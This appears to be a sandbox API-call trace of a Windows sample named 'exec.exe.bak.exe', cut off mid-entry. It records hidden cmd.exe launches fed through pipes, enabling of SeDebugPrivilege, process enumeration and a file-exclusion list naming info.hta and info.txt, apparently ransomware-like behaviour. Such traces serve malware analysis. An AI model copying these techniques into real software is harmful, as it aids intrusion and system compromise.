[0085.449] GetProcessHeap () returned 0xc00000 [0085.449] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc24858 [0085.449] GetProcessHeap () returned 0xc00000 [0085.449] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x1e) returned 0xc24880 [0085.449] GetProcessHeap () returned 0xc00000 [0085.449] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x1e) returned 0xc246c8 [0085.449] GetProcessHeap () returned 0xc00000 [0085.449] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc0e170 [0085.449] GetProcessHeap () returned 0xc00000 [0085.449] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e170 | out: hHeap=0xc00000) returned 1 [0085.449] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc24880, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0085.449] GetProcessHeap () returned 0xc00000 [0085.449] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc246c8 | out: hHeap=0xc00000) returned 1 [0085.449] GetProcessHeap () returned 0xc00000 [0085.449] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24858 | out: hHeap=0xc00000) returned 1 [0085.450] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x8ff684, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x8ff684*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0085.450] GetProcessHeap () returned 0xc00000 [0085.450] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc24880 | out: hHeap=0xc00000) returned 1 [0085.450] GetProcessHeap () returned 0xc00000 [0085.450] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x28) returned 0xc173c0 [0085.450] GetProcessHeap () returned 0xc00000 [0085.450] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1f9e0 [0085.450] GetProcessHeap () returned 0xc00000 [0085.450] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x190) returned 0xc1eca0 [0085.450] GetProcessHeap () returned 0xc00000 [0085.450] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x60) returned 0xc11800 [0085.450] GetProcessHeap () returned 0xc00000 [0085.450] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x54) returned 0xc0e348 [0085.450] GetProcessHeap () returned 0xc00000 [0085.450] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc0e348, Size=0xa6) returned 0xc0ecf8 [0085.450] GetProcessHeap () returned 0xc00000 [0085.450] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x184) returned 0xc1d230 [0085.450] GetProcessHeap () returned 0xc00000 [0085.450] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10) returned 0xc1fad0 [0085.450] GetProcessHeap () returned 0xc00000 [0085.451] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc1efd8 [0085.451] GetProcessHeap () returned 0xc00000 [0085.451] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x250) returned 0xc257c8 [0085.451] GetProcessHeap () returned 0xc00000 [0085.451] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0xb0) returned 0xc1d3c0 [0085.451] GetProcessHeap () returned 0xc00000 [0085.451] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0xa2) returned 0xc10578 [0085.451] GetProcessHeap () returned 0xc00000 [0085.451] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0xa2) returned 0xc10c58 [0085.451] GetProcessHeap () returned 0xc00000 [0085.451] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc0e170 [0085.451] GetProcessHeap () returned 0xc00000 [0085.451] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e170 | out: hHeap=0xc00000) returned 1 [0085.451] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;regsetka32.txt", lpDst=0xc10578, nSize=0x51 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;regsetka32.txt") returned 0x51 [0085.451] GetProcessHeap () returned 0xc00000 [0085.451] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc10c58 | out: hHeap=0xc00000) returned 1 [0085.451] GetProcessHeap () returned 0xc00000 [0085.451] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1d3c0 | out: hHeap=0xc00000) returned 1 [0085.451] GetProcessHeap () returned 0xc00000 [0085.451] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x70) returned 0xc0e570 [0085.451] GetProcessHeap () returned 0xc00000 [0085.451] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x62) returned 0xc0fdb8 [0085.451] GetProcessHeap () returned 0xc00000 [0085.451] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x62) returned 0xc06710 [0085.451] GetProcessHeap () returned 0xc00000 [0085.451] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc0e170 [0085.451] GetProcessHeap () returned 0xc00000 [0085.451] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e170 | out: hHeap=0xc00000) returned 1 [0085.452] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0xc0fdb8, nSize=0x31 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0085.452] GetProcessHeap () returned 0xc00000 [0085.452] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc06710 | out: hHeap=0xc00000) returned 1 [0085.452] GetProcessHeap () returned 0xc00000 [0085.452] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc0fdb8, Size=0xc2) returned 0xc139f0 [0085.452] GetProcessHeap () returned 0xc00000 [0085.452] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0xc2) returned 0xc112f0 [0085.452] GetProcessHeap () returned 0xc00000 [0085.452] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc0e170 [0085.452] GetProcessHeap () returned 0xc00000 [0085.452] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e170 | out: hHeap=0xc00000) returned 1 [0085.452] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0xc139f0, nSize=0x61 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0085.452] GetProcessHeap () returned 0xc00000 [0085.452] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc112f0 | out: hHeap=0xc00000) returned 1 [0085.452] GetProcessHeap () returned 0xc00000 [0085.452] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e570 | out: hHeap=0xc00000) returned 1 [0085.452] GetProcessHeap () returned 0xc00000 [0085.452] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20a) returned 0xc29dc0 [0085.452] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc29dc0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\exec.exe.bak.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\exec.exe.bak.exe")) returned 0x28 [0085.452] GetProcessHeap () returned 0xc00000 [0085.452] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc29dc0 | out: hHeap=0xc00000) returned 1 [0085.453] GetProcessHeap () returned 0xc00000 [0085.453] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x182) returned 0xc25a20 [0085.453] GetProcessHeap () returned 0xc00000 [0085.453] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x24a) returned 0xc29dc0 [0085.454] GetProcessHeap () returned 0xc00000 [0085.454] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0xa4) returned 0xc10628 [0085.454] GetProcessHeap () returned 0xc00000 [0085.454] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc10628, Size=0xc6) returned 0xc112f0 [0085.454] GetProcessHeap () returned 0xc00000 [0085.454] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x6a) returned 0xc0e570 [0085.454] GetProcessHeap () returned 0xc00000 [0085.454] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1efd8 | out: hHeap=0xc00000) returned 1 [0085.454] GetProcessHeap () returned 0xc00000 [0085.454] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc257c8 | out: hHeap=0xc00000) returned 1 [0085.454] GetProcessHeap () returned 0xc00000 [0085.454] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc10578 | out: hHeap=0xc00000) returned 1 [0085.454] GetProcessHeap () returned 0xc00000 [0085.454] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc139f0 | out: hHeap=0xc00000) returned 1 [0085.454] GetProcessHeap () returned 0xc00000 [0085.454] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1f9e0 | out: hHeap=0xc00000) returned 1 [0085.454] GetProcessHeap () returned 0xc00000 [0085.454] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1eca0 | out: hHeap=0xc00000) returned 1 [0085.454] GetProcessHeap () returned 0xc00000 [0085.454] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11800 | out: hHeap=0xc00000) returned 1 [0085.454] GetProcessHeap () returned 0xc00000 [0085.454] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc1d230 | out: hHeap=0xc00000) returned 1 [0085.454] GetProcessHeap () returned 0xc00000 [0085.454] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x14) returned 0xc18e28 [0085.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e22ee, lpParameter=0xc18e28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204 [0085.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e239a, lpParameter=0x8ff6bc, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0085.456] GetProcessHeap () returned 0xc00000 [0085.456] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x14) returned 0xc18ea8 [0085.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e2161, lpParameter=0xc18ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0085.457] GetProcessHeap () returned 0xc00000 [0085.457] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x14) returned 0xc18fe8 [0085.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e1a76, lpParameter=0xc18fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0085.458] GetProcessHeap () returned 0xc00000 [0085.458] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x14) returned 0xc18d28 [0085.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1e1cc5, lpParameter=0xc18d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0 [0085.459] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x10fc Thread: id = 3 os_tid = 0x10f8 Thread: id = 11 os_tid = 0x1154 [0084.224] GetProcessHeap () returned 0xc00000 [0084.224] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc246a0 [0084.224] GetProcessHeap () returned 0xc00000 [0084.224] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x14) returned 0xc19068 [0084.224] GetProcessHeap () returned 0xc00000 [0084.224] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x14) returned 0xc18d68 [0084.225] GetProcessHeap () returned 0xc00000 [0084.225] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11d38 [0084.225] GetProcessHeap () returned 0xc00000 [0084.225] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11d38 | out: hHeap=0xc00000) returned 1 [0084.225] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xc19068, nSize=0xa | out: lpDst="") returned 0x1c [0084.225] GetProcessHeap () returned 0xc00000 [0084.225] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc18d68 | out: hHeap=0xc00000) returned 1 [0084.225] GetProcessHeap () returned 0xc00000 [0084.225] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc19068, Size=0x26) returned 0xc17390 [0084.225] GetProcessHeap () returned 0xc00000 [0084.225] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x26) returned 0xc17510 [0084.225] GetProcessHeap () returned 0xc00000 [0084.225] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11d38 [0084.225] GetProcessHeap () returned 0xc00000 [0084.225] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11d38 | out: hHeap=0xc00000) returned 1 [0084.225] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xc17390, nSize=0x13 | out: lpDst="") returned 0x1c [0084.225] GetProcessHeap () returned 0xc00000 [0084.225] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc17510 | out: hHeap=0xc00000) returned 1 [0084.225] GetProcessHeap () returned 0xc00000 [0084.225] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc17390, Size=0x4a) returned 0xc25040 [0084.225] GetProcessHeap () returned 0xc00000 [0084.225] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x4a) returned 0xc25148 [0084.225] GetProcessHeap () returned 0xc00000 [0084.225] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc11d38 [0084.226] GetProcessHeap () returned 0xc00000 [0084.226] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc11d38 | out: hHeap=0xc00000) returned 1 [0084.226] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xc25040, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0084.226] GetProcessHeap () returned 0xc00000 [0084.226] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc25148 | out: hHeap=0xc00000) returned 1 [0084.226] GetProcessHeap () returned 0xc00000 [0084.226] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc246a0 | out: hHeap=0xc00000) returned 1 [0084.226] GetProcessHeap () returned 0xc00000 [0084.226] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x50) returned 0xc25408 [0084.226] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0084.226] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0084.226] Wow64DisableWow64FsRedirection (in: OldValue=0x25df71c | out: OldValue=0x25df71c*=0x0) returned 1 [0084.226] GetProcessHeap () returned 0xc00000 [0084.226] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc25408 | out: hHeap=0xc00000) returned 1 [0084.226] CreatePipe (in: hReadPipe=0x25df710, hWritePipe=0x25df70c, lpPipeAttributes=0x25df72c, nSize=0x0 | out: hReadPipe=0x25df710*=0x264, hWritePipe=0x25df70c*=0x268) returned 1 [0084.228] CreatePipe (in: hReadPipe=0x25df714, hWritePipe=0x25df718, lpPipeAttributes=0x25df72c, nSize=0x0 | out: hReadPipe=0x25df714*=0x26c, hWritePipe=0x25df718*=0x270) returned 1 [0084.228] SetHandleInformation (hObject=0x268, dwMask=0x1, dwFlags=0x0) returned 1 [0084.228] SetHandleInformation (hObject=0x26c, dwMask=0x1, dwFlags=0x0) returned 1 [0084.228] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x25df748*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x264, hStdOutput=0x270, hStdError=0x270), lpProcessInformation=0x25df738 | out: lpCommandLine=0x0, lpProcessInformation=0x25df738*(hProcess=0x278, hThread=0x274, dwProcessId=0xef0, dwThreadId=0x1174)) returned 1 [0085.472] WriteFile (in: hFile=0x268, lpBuffer=0xc1e7c0*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x25df728, lpOverlapped=0x0 | out: lpBuffer=0xc1e7c0*, lpNumberOfBytesWritten=0x25df728*=0xc2, lpOverlapped=0x0) returned 1 [0085.472] WaitForSingleObject (hHandle=0x278, dwMilliseconds=0xffffffff) Thread: id = 12 os_tid = 0xeec [0085.411] GetProcessHeap () returned 0xc00000 [0085.412] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x20) returned 0xc246a0 [0085.412] GetProcessHeap () returned 0xc00000 [0085.412] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x14) returned 0xc19068 [0085.412] GetProcessHeap () returned 0xc00000 [0085.412] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x14) returned 0xc18d68 [0085.412] GetProcessHeap () returned 0xc00000 [0085.412] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc0e170 [0085.412] GetProcessHeap () returned 0xc00000 [0085.412] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e170 | out: hHeap=0xc00000) returned 1 [0085.412] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xc19068, nSize=0xa | out: lpDst="") returned 0x1c [0085.412] GetProcessHeap () returned 0xc00000 [0085.412] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc18d68 | out: hHeap=0xc00000) returned 1 [0085.413] GetProcessHeap () returned 0xc00000 [0085.413] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc19068, Size=0x26) returned 0xc173c0 [0085.413] GetProcessHeap () returned 0xc00000 [0085.413] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x26) returned 0xc17390 [0085.413] GetProcessHeap () returned 0xc00000 [0085.413] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc0e170 [0085.413] GetProcessHeap () returned 0xc00000 [0085.413] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e170 | out: hHeap=0xc00000) returned 1 [0085.413] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xc173c0, nSize=0x13 | out: lpDst="") returned 0x1c [0085.413] GetProcessHeap () returned 0xc00000 [0085.413] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc17390 | out: hHeap=0xc00000) returned 1 [0085.413] GetProcessHeap () returned 0xc00000 [0085.413] RtlReAllocateHeap (Heap=0xc00000, Flags=0x0, Ptr=0xc173c0, Size=0x4a) returned 0xc25098 [0085.413] GetProcessHeap () returned 0xc00000 [0085.413] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x4a) returned 0xc25148 [0085.413] GetProcessHeap () returned 0xc00000 [0085.413] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x90) returned 0xc0e170 [0085.413] GetProcessHeap () returned 0xc00000 [0085.413] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc0e170 | out: hHeap=0xc00000) returned 1 [0085.413] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0xc25098, nSize=0x25 | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0085.413] GetProcessHeap () returned 0xc00000 [0085.413] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc25148 | out: hHeap=0xc00000) returned 1 [0085.413] GetProcessHeap () returned 0xc00000 [0085.413] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc246a0 | out: hHeap=0xc00000) returned 1 [0085.413] GetProcessHeap () returned 0xc00000 [0085.413] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x50) returned 0xc25408 [0085.414] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0085.414] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0085.414] Wow64DisableWow64FsRedirection (in: OldValue=0x275f9e4 | out: OldValue=0x275f9e4*=0x0) returned 1 [0085.414] GetProcessHeap () returned 0xc00000 [0085.414] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc25408 | out: hHeap=0xc00000) returned 1 [0085.414] CreatePipe (in: hReadPipe=0x275f9d8, hWritePipe=0x275f9d4, lpPipeAttributes=0x275f9f4, nSize=0x0 | out: hReadPipe=0x275f9d8*=0x28c, hWritePipe=0x275f9d4*=0x290) returned 1 [0085.415] CreatePipe (in: hReadPipe=0x275f9dc, hWritePipe=0x275f9e0, lpPipeAttributes=0x275f9f4, nSize=0x0 | out: hReadPipe=0x275f9dc*=0x294, hWritePipe=0x275f9e0*=0x298) returned 1 [0085.415] SetHandleInformation (hObject=0x290, dwMask=0x1, dwFlags=0x0) returned 1 [0085.415] SetHandleInformation (hObject=0x294, dwMask=0x1, dwFlags=0x0) returned 1 [0085.415] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x275fa10*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x28c, hStdOutput=0x298, hStdError=0x298), lpProcessInformation=0x275fa00 | out: lpCommandLine=0x0, lpProcessInformation=0x275fa00*(hProcess=0x2a0, hThread=0x29c, dwProcessId=0x1164, dwThreadId=0x117c)) returned 1 [0085.431] WriteFile (in: hFile=0x290, lpBuffer=0xc118b8*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x275f9f0, lpOverlapped=0x0 | out: lpBuffer=0xc118b8*, lpNumberOfBytesWritten=0x275f9f0*=0x5b, lpOverlapped=0x0) returned 1 [0085.431] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) Thread: id = 15 os_tid = 0x10d4 [0085.821] GetProcessHeap () returned 0xc00000 [0085.821] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x440) returned 0xc28c20 [0085.821] GetProcessHeap () returned 0xc00000 [0085.821] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x30) returned 0xc12b70 [0085.821] GetCurrentProcess () returned 0xffffffff [0085.821] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x289fc18 | out: TokenHandle=0x289fc18*=0x280) returned 1 [0085.821] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x289fc10 | out: lpLuid=0x289fc10*(LowPart=0x14, HighPart=0)) returned 1 [0085.824] AdjustTokenPrivileges (in: TokenHandle=0x280, DisableAllPrivileges=0, NewState=0x289fc00*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0085.824] CloseHandle (hObject=0x280) returned 1 [0085.825] GetProcessHeap () returned 0xc00000 [0085.825] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc12b70 | out: hHeap=0xc00000) returned 1 [0085.825] GetProcessHeap () returned 0xc00000 [0085.825] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x434) returned 0xc29068 [0085.825] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c8 [0087.843] Process32FirstW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0087.844] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0087.844] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0087.845] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0087.845] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0087.846] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0087.847] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0087.847] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0087.848] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0087.848] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.849] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0087.850] Process32NextW (in: hSnapshot=0x2c8, 